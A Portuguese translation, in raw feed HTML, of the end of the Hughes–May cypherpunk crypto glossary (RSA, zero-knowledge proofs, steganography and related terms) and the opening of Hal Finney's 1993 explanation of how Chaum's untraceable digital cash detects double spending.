&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">A implementação do RSA feita por Phillip Zimmerman, recentemente atualizada para a versão 2.0, com componentes mais robustos e vários novos recursos. A RSA Data Security ameaçou o PZ, portanto ele não trabalha mais nela. A versão 2.0 foi escrita por um consórcio de hackers de fora dos EUA&lt;/span>.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>números primos&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">inteiros sem nenhum outro fator além deles mesmos e 1\. O número de primos são ilimitados. Cerca de 1% dos 100 números de dígitos decimais são primos. Como existem cerca de 10&lt;sup>70&lt;/sup> partículas no universo, existem cerca de 10&lt;sup>23&lt;/sup> números primos de 100 dígitos para cada uma das partículas do universo&lt;/span>!&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>criptografia probabilística&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">um esquema de Goldwasser, Micali e Blum que permite múltiplos textos cifrados para o mesmo texto simples, isto é, qualquer texto plano dado pode ter muitos textos cifrados se a cifragem for repetida. Isso protege contra certos tipos de ataques de texto cifrado conhecidos no RSA.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>provas de identidade&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">provando quem você é, seu nome verdadeiro ou sua identidade digital. Geralmente, a posse da chave certa é prova suficiente (proteja sua chave!). Algum trabalho foi feito sobre "é uma pessoa" em agências de credenciamento, usando o chamado protocolo Fiat-Shamir... pense nisso como uma maneira de emitir passaportes digitais não passíveis de assinatura. A prova física de identidade pode ser feita com métodos de segurança biométrica. &lt;span class="">Provas de identidade zero conhecimento não revelam nada além do fato de que a identidade é como reivindicada.&lt;/span> Isso tem usos óbvios para acesso a computadores, senhas etc.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>protocolo&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">um procedimento formal para resolver algum problema. A Criptologia moderna é principalmente sobre o estudo de protocolos para muitos problemas, tais como "jogar moedas", comprometimento de bit (blobs), provas de conhecimento zero, dining cryptographers e assim por diante&lt;/span>.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>chave pública&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">a chave distribuída publicamente para potenciais remetentes de mensagens. Pode ser publicada em um diretório semelhante a uma lista telefônica ou enviada de outra forma. &lt;span class="">Uma das principais preocupações é a validade dessa chave pública para evitar a falsificação ou a falsificação de identidade.&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>criptosistema de chave pública&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">o avanço moderno em criptologia, projetado por Diffie e Hellman, com contribuições de vários outros. &lt;span class="">Usa as funções unidirecionais de interceptação para que a cifração possa ser feita por qualquer pessoa com acesso à "chave pública", mas a decifração pode ser feita apenas pelo detentor da "chave privada".&lt;/span> &lt;span class="">Abrange criptografia de chave pública, assinaturas digitais, dinheiro digital e muitos outros protocolos e aplicativos.&lt;/span>&lt;/span>.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>criptografia de chave pública&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">o uso de métodos criptográficos modernos para fornecer segurança e autenticação de mensagens. O algoritmo RSA é a forma mais amplamente usada de criptografia de chave pública, embora existam outros sistemas. Uma chave pública pode ser livremente publicada, por exemplo, em diretórios semelhantes à agenda telefônica, enquanto a chave privada correspondente é protegida de perto.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>patentes de chave pública&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">M.I.T. e Stanford, devido ao trabalho de Rivest, Shamir, Adleman, Diffie, Hellman e Merkle, formaram o Public Key Partners para licenciar as várias patentes públicas, assinaturas digitais e patentes da RSA. Essas patentes, concedidas no início dos anos 80, expiram entre 1998 e 2002\. A PKP licenciou a RSA Data Security Inc., de Redwood City, Califórnia, que administra as vendas, etc.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>criptografia quântica&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">&lt;span class="">um sistema baseado em princípios da mecânica quântica. Bisbilhoteiros mudam o estado quântico do sistema e são detectados.&lt;/span> &lt;span class="">Desenvolvido por Brassard e Bennett, apenas pequenas demonstrações laboratoriais foram feitas.&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>reputações&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">o rastro de associações positivas e negativas e julgamentos que algumas entidades acumulam. Classificações de crédito, credenciais acadêmicas e confiabilidade são exemplos. &lt;span class="">Um pseudônimo digital acumulará essas credenciais de reputação com base em ações, opiniões de outros, etc. Na criptoanarquia, reputações e sistemas agoristas serão de suma importância.&lt;/span> &lt;span class="">Há muitas questões fascinantes sobre como os sistemas baseados em reputação funcionam, como as credenciais podem ser compradas e vendidas e assim por diante&lt;/span>&lt;/span>.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>RSA&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">&lt;span class="">o principal algoritmo de criptografia de chave pública, desenvolvido por Ron Rivest, Adi Shamir e Kenneth Adleman.&lt;/span> &lt;span class="">Ele explora a dificuldade de fatorar números grandes para criar uma chave privada e uma chave pública.&lt;/span> &lt;span class="">Inventado pela primeira vez em 1978, ele continua sendo o núcleo dos modernos sistemas de chaves públicas.&lt;/span> &lt;span class="">Geralmente é muito mais lento que o DES, mas os chips de exponenciação modular de propósito especial provavelmente vão acelerar.&lt;/span> &lt;span class="">Um esquema popular de velocidade é usar o RSA para transmitir chaves de sessão e, em seguida, uma codificação de alta velocidade, como DES, para o texto da mensagem real.&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>Descrição&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">Seja &lt;var>p&lt;/var> e &lt;var>q&lt;/var> grandes primos, tipicamente com mais de 100 dígitos. Seja &lt;var>n = pq&lt;/var> e encontre algum e tal que e seja relativamente primo para &lt;var>(p - 1) (q - 1)&lt;/var>. O conjunto de números &lt;var>p&lt;/var>, &lt;var>q&lt;/var> e &lt;var>e&lt;/var> é a chave privada do RSA. O conjunto de números &lt;var>n&lt;/var> e &lt;var>e&lt;/var> formam a chave pública (lembre-se que saber &lt;var>n&lt;/var> não é suficiente para facilmente encontrar &lt;var>p&lt;/var> e &lt;var>q&lt;/var> ... o problema de fatoração). Uma mensagem &lt;var>M&lt;/var> é cifrada através do cálculo do &lt;var>M&lt;sup>e&lt;/sup>&lt;/var> mod &lt;var>n&lt;/var>. &lt;span class="">O proprietário da chave privada pode decifrar a mensagem cifrada explorando os resultados da teoria dos números, da seguinte maneira.&lt;/span> &lt;span class="">Um inteiro d é computado de modo que &lt;var>ed = 1 (mod (p - 1) (q - 1))&lt;/var>.&lt;/span> &lt;span class="">Euler provou um teorema que &lt;var>M&lt;sup>(ed)&lt;/sup> = M&lt;/var> mod &lt;var>n&lt;/var> e assim &lt;var>M&lt;sup>(ed)&lt;/sup>&lt;/var> mod &lt;var>n = M&lt;/var>. Isto significa que em certo sentido os inteiros &lt;var>e&lt;/var> e &lt;var>d&lt;/var> são "inversos" um do outro.&lt;/span> &lt;span class="">[Se isso não estiver claro, consulte um dos muitos textos e artigos sobre criptografia de chave pública.].&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">criptosistema de chave secreta&lt;/span>&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">Um sistema que usa a mesma chave para cifrar e decifrar o tráfego em cada extremidade de um link de comunicação. Também chamado de sistema simétrico ou de uma chave. Contraste com o sistema criptográfico de chave pública.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>smart cards (cartões inteligentes)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">um chip de computador incorporado no cartão de crédito. Eles podem guardar dinheiro, credenciais, chaves criptográficas, etc. Geralmente, eles são construídos com algum grau de resistência à adulteração. Os smart cards podem executar parte de uma transação criptográfica ou até mesmo completa. Executar parte disso pode significar verificar os cálculos de um computador mais potente, por exemplo, um em um caixa eletrônico.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>spoofing (falsificação), ou masquerading (mascaramento)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">posando como outro usuário. Usado para roubar senhas, modificar arquivos e roubar dinheiro. Assinaturas digitais e outros métodos de autenticação são úteis para evitar isso. &lt;span class="">As chaves públicas devem ser validadas e protegidas para garantir que outras pessoas não substituam suas próprias chaves públicas, que os usuários podem usar inadvertidamente.&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>esteganografia&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">uma parte da criptologia que lida com esconder mensagens e obscurecer quem está enviando e recebendo mensagens. Muitas vezes, o tráfego de mensagens é enviado para reduzir os sinais que, de outra forma, viriam de um começo supenso de mensagens&lt;/span>.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>cifra simétrica&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">o mesmo que o criptosistema de chave privada.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="" tabindex="-1" lang="pt">&lt;span class="">módulos de resposta a violações, módulos resistentes a violações&lt;/span>&lt;/span> (TRMs)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">&lt;span class="">caixas seladas ou módulos que são difíceis de abrir, exigindo extensa sondagem e geralmente deixando ampla evidência de que a adulteração ocorreu.&lt;/span> &lt;span class="">Várias técnicas de proteção são usadas, como camadas especiais de metal ou óxido em chips, revestimentos blindados, fibras óticas embainhadas e outras medidas para impedir a análise.&lt;/span> Popularmente chamado de "caixas invioláveis". &lt;span class="">Os usos incluem: cartões inteligentes, iniciadores de armas nucleares, detentores de chaves criptográficas, caixas eletrônicos, etc&lt;/span>&lt;/span>.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">adulteração ou escutas telefônicas ativas&lt;/span>&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">interferindo nas mensagens e possivelmente modificando-as. Isso pode comprometer a segurança dos dados, ajudar a quebrar códigos, etc. Veja também spoofing.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>token&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">alguma representação, como cartões de identificação, fichas de metrô, dinheiro, etc., que indica a posse de alguma propriedade ou valor.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>análise de tráfego&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">determinar quem está enviando ou recebendo mensagens analisando pacotes, freqüência de pacotes, etc. Uma parte da esteganografia. Geralmente tratado com paping de tráfego&lt;/span>.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">regras de transmissão&lt;/span>&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">&lt;span class="">os protocolos para determinar quem pode enviar mensagens em um protocolo DC e quando.&lt;/span> &lt;span class="">Essas regras são necessárias para evitar a colisão e o bloqueio deliberado dos canais&lt;/span>&lt;/span>.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">mensagens de armadilha&lt;/span> (trap messages)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">Mensagens fictícias em Redes DC que são usadas para capturar jammers e disrupters. As mensagens não contêm informações particulares e são publicadas em um blob antecipadamente, de modo que a mensagem de interceptação possa mais tarde ser aberta para revelar o disruptor. (Existem muitas estratégias para explorar aqui).&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>trap-door&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">Na criptografia, uma informação secreta que permite ao detentor de uma chave privada inverter uma função normalmente difícil de inverter.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">funções de sentido único de&lt;/span> trap-door (trap-door one way functions)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">funções que são fáceis de calcular tanto na direção para frente quanto na reversa, mas para as quais a revelação de um algoritmo para computar a função na direção certa não fornece informações sobre como calcular a função na direção reversa. Mais simplesmente, as funções de um lado do trap-door são um caminho para todos menos o detentor da informação secreta. &lt;span class="">O algoritmo RSA é o exemplo mais conhecido de tal função&lt;/span>&lt;/span>.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">&lt;span class="">segurança incondicional&lt;/span>&lt;/span>&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">&lt;span class="">o mesmo que a sigilo perfeito da teoria da informação, isto é, inquebrável, exceto pela perda ou roubo da chave.&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">incondicionalmente seguro&lt;/span>&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">onde nenhuma quantidade de texto cifrado interceptado é suficiente para permitir que a cifra seja quebrada, como com o uso de uma cifra de uso único (one time pad). Contraste com computacionalmente seguro.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">&lt;span class="">voto criptográfico&lt;/span>&lt;/span>&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">Vários esquemas foram criados para votação anônima e não rastreável. Os esquemas de votação devem ter várias propriedades: privacidade do voto, segurança do voto (sem votos múltiplos), robustez contra interrupções por bloqueadores ou bloqueadores, verificabilidade (o eleitor confia nos resultados) e eficiência.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">provas de conhecimento zero&lt;/span> (zero knowledge proofs)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">provas em que nenhum conhecimento da prova real é transmitido. Ex: Peggy, o Provador, demonstra a Sid, o Cético, que ela está realmente de posse de algum conhecimento sem realmente revelar nada desse conhecimento. Isso é útil para o acesso a computadores, porque bisbilhoteiros ou sysops desonestos não podem roubar o conhecimento dado. Também chamado de provas mínimas de divulgação. &lt;span class="">Útil para provar a posse de alguma propriedade ou credencial, como idade ou status de votação, sem revelar informações pessoais&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
--
&lt;div class="container-fluid">
&lt;div class="row">
&lt;/div>
&lt;/div>
&lt;pre tabindex="0">&lt;code>......................................................................
Timothy C. May | Criptoanarquia: cifra, moedas digitais, money,
tcmay@netcom.com | redes anônimas, pseudônimos digitais, zero
408-688-5409 | knowledge, reputações, mercados de informação,
W.A.S.T.E.: Aptos, CA | mercados negros, colapso de governos.
Higher Power: 2^756839 | PGP Public Key: por acordo.
&lt;/code>&lt;/pre>&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/crypto-glossary/" target="_blank" rel="noopener noreferrer">Crypto Glossary - Eric Hughes and Timothy C. May&lt;/a>
&lt;/p></content:encoded></item><item><title>Detectando Gastos Duplos</title><link>https://cypherpunks.com.br/documentos/detectando-gastos-duplos/</link><pubDate>Sun, 22 Nov 1992 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/detectando-gastos-duplos/</guid><description>Aqui está uma tentativa de descrever o dinheiro digital de Chaum a partir de seu trabalho, Untraceable Electronic Cash, de Chaum, Fiat e Naor, do processo Crypto 88\. Esse dinheiro tem a propriedade de que o usuário do dinheiro pode permanecer anônimo, desde que não o gaste mais de uma vez, mas se ela gastar duas vezes, sua identidade …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="hal-finney">Hal Finney&lt;/h3>
&lt;h4 id="15-de-outubro-de-1993">15 de outubro de 1993&lt;/h4>
&lt;p>(revisado em 13 de março de 1996)&lt;/p>
&lt;p>&lt;/p>
&lt;p>Aqui está uma tentativa de descrever o dinheiro digital de Chaum a partir de seu trabalho, Untraceable Electronic Cash, de Chaum, Fiat e Naor, do processo Crypto 88. Esse dinheiro tem a propriedade de que o usuário do dinheiro pode permanecer anônimo, desde que não o gaste mais de uma vez, mas se ela gastar duas vezes, sua identidade será revelada.&lt;/p>
&lt;p>É assim que funciona em termos gerais: Alice abre uma conta com um banco de forma não anônima. Ela mostra a identidade para que o banco saiba quem ela é; tanto ela como o banco sabem o número da sua conta. Quando ela sacar dinheiro, ela vai ao banco ou entra em contato com eles eletronicamente e apresenta uma prova de quem ela é e qual é o seu número de conta, e o banco lhe dá algum dinheiro digital. O dinheiro digital é um padrão de informação, talvez armazenado em um arquivo de computador em um cartão inteligente ou disco magnético. Mais tarde, ela gasta o dinheiro digital enviando ou dando para Bob, um comerciante. Bob pode verificar e verificar se o dinheiro deve ter vindo do banco. Ele aceita o dinheiro se for válido, dando a Alice a mercadoria. Mais tarde, ele envia o dinheiro para o banco para ser adicionado à sua própria conta.&lt;/p>
&lt;p>Note que isso basicamente poderia ser feito com uma simples assinatura RSA. O banco poderia dar a Alice uma declaração dizendo: &amp;ldquo;vale 1 dólar&amp;rdquo;, assinada pela chave secreta do banco. Bob poderia verificar se a declaração estava de fato assinada pelo banco e, portanto, saber que ninguém mais do que o banco poderia ter criado essa declaração. Ele aceita e envia para o banco, que o homenageia porque reconhece sua própria assinatura.&lt;/p>
&lt;p>Um problema com esse dinheiro trivial é que o gasto duplo não pode ser detectado ou evitado, já que todo o dinheiro parece igual. Isso pode ser remediado com o dinheiro incluir um número de série exclusivo. Agora, quando Bob vai aceitar o dinheiro de Alice, ele pode ligar para o banco e dizer: alguém mais depositou o número de série 123456? Se não, ele aceita o dinheiro e deposita-o. Isso é chamado de dinheiro eletrônico on-line; o comerciante deve verificar com o banco para cada transação.&lt;/p>
&lt;p>No entanto, esse sistema simples melhorado não merece ser chamado de caixa, porque não possui a característica distintiva do dinheiro digital: ele não é anônimo. Quando o banco recebe dinheiro com o número de série 123456 que está sendo depositado, o banco reconhece que essa foi a mesma fatura que Alice retirou. O banco pode, portanto, deduzir que Alice gastou o dinheiro na casa de Bob e, a partir desse tipo de informação, um dossiê poderia ser construído com todos os tipos de informações destruidoras de privacidade sobre ela.&lt;/p>
&lt;p>Para permitir o anonimato, precisamos entrar na matemática. O que queremos é que Alice e o banco coletivamente criem uma assinatura RSA do banco que não pode ser falsificada, mas que o banco não reconhecerá como proveniente de Alice. Esta é a primeira coisa que o artigo de Chaum discute.&lt;/p>
&lt;p>O dinheiro neste sistema é da forma (x, f (x) ^ (1/3)) mod n, onde n é o módulo público do banco. f () (e, abaixo, g ()) é uma função unidirecional, que pode ser calculada facilmente, mas para a qual é inviável calcular o inverso. Também deve ser inviável encontrar dois y diferentes, z tais que f (y) = f (z). Atualmente, existem várias opções adequadas para funções unidirecionais, sendo as mais comuns o algoritmo MD5 da RSA e o Secure Hash Algorithm (SHA) do governo dos EUA.&lt;/p>
&lt;p>A razão pela qual a expressão acima seria aceita como dinheiro é dupla. Primeiro, apenas o banco pode calcular qualquer coisa ^ (1/3) mod n. Esta é basicamente a operação de assinatura RSA para o expoente de 3. Ninguém mais pode encontrar raízes cúbicas. A razão f (x) é usada é isso. Suponha que nós propusemos que (x, x ^ (1/3)) deveria ser o dinheiro, para algum x aleatório, raciocinando que somente o banco poderia encontrar a raiz cúbica de x. Você pode ver como forjar dinheiro assim? (Dedique alguns instantes e tente ver como você pode construir um par como este, mesmo que você não consiga criar raízes cúbicas.)&lt;/p>
&lt;p>A resposta é que é fácil forjar isso escolhendo primeiro um y aleatório e exibindo o par (y ^ 3, y). Agora temos um número e depois sua raiz cúbica. No entanto, não precisamos ter raízes cúbicas para encontrá-lo. É por isso que esse tipo de dinheiro não seria bom.&lt;/p>
&lt;p>O sistema de Chaum evita isso pegando a raiz cúbica de uma função unidirecional de x. Para forjar sem ter uma raiz cúbica, você teria que produzir (finv (y ^ 3), y), que corresponderia ao padrão acima, mas não é possível inverter a função unidirecional como essa. Portanto, apenas o banco pode criar dinheiro da forma apropriada. Isso pode ser pensado como a forma formal e matemática do meu &amp;ldquo;dinheiro&amp;rdquo; informal, acima do qual havia uma nota assinada digitalmente com um número de série. Aqui, x é o número de série e é assinado digitalmente desta maneira especial. Nada mais é necessário.&lt;/p>
&lt;p>A coisa boa sobre esse dinheiro é que ele permite cegar, um método de fazer com que o banco assine o valor sem saber que valor ele está assinando. Funciona assim. Alice escolhe x, que será o x no dinheiro. Ela calcula f (x), mas em vez de enviá-la ao banco para ser assinada (aumentada para 1/3 de poder) ela escolhe primeiro um número aleatório r e envia f (x) * r ^ 3 para o banco. O banco leva esse número para 1/3 da potência, obtendo r * f (x) ^ (1/3). Lembre-se, porém, que o banco não vê r ou f (x) separadamente, mas apenas seu produto. Não sabe o que r ou f (x) é. Eles poderiam ser qualquer coisa, na verdade.&lt;/p>
&lt;p>O banco envia este r * f (x) ^ (1/3) de volta para Alice, e ela divide por r, que ela sabe. Isso dá a ela f (x) ^ (1/3), e ela coloca isso junto com x para obter seu dinheiro digital: (x, f (x) ^ (1/3)). Ela tem um dinheiro que só poderia ter sido assinado pelo banco, mas o banco não o reconhece quando é depositado.&lt;/p>
&lt;p>Outras coisas, não matemáticas, acontecem quando esta retirada continua. Alice deve provar sua identidade ao banco, como mencionado acima. E o banco debitará sua conta pelo valor do dinheiro. Neste sistema, assumimos por simplicidade que todo o dinheiro tem o mesmo valor. Em um sistema real, diferentes valores podem ser codificados por expoentes diferentes de 3.&lt;/p>
&lt;p>Quando Alice deposita o dinheiro, Bob deve ligar para o banco para se certificar de que não foi depositado antes, sendo este um sistema &amp;ldquo;on-line&amp;rdquo;. Embora o banco não reconheça x (nunca se ouve falar dele) ele se lembrará de todos os x&amp;rsquo;s que foram depositados e assim poderá alertar Bob se o dinheiro tiver sido gasto anteriormente. Tanto Bob quanto o banco podem verificar a assinatura digital sobre o dinheiro e, assim, honrá-lo.&lt;/p>
&lt;p>Todo o material acima ocupa menos de uma página do artigo de nove páginas de Chaum. Para Chaum, isso é trivial. Agora chegamos à parte interessante. Agora vamos ver o esquema que permite que os gastadores de casal percam seu anonimato. Isso permitirá dinheiro eletrônico &amp;ldquo;off-line&amp;rdquo;; Bob não precisará mais verificar com o banco se o dinheiro já foi gasto. Ele aceita de Alice sabendo que, se ela trapaceia, o banco vai honrar o dinheiro e processar Alice para compensar a perda.&lt;/p>
&lt;p>(Para tornar esta explicação mais fácil de seguir, descreverei uma versão ligeiramente simplificada do dinheiro off-line de Chaum. A versão que eu descrevo requer o uso de uma função unidirecional não-invertível como na f () usada acima. não requer uma suposição tão forte e fornece uma rastreabilidade &amp;ldquo;incondicional&amp;rdquo; mesmo se a função unidirecional for quebrada.)&lt;/p>
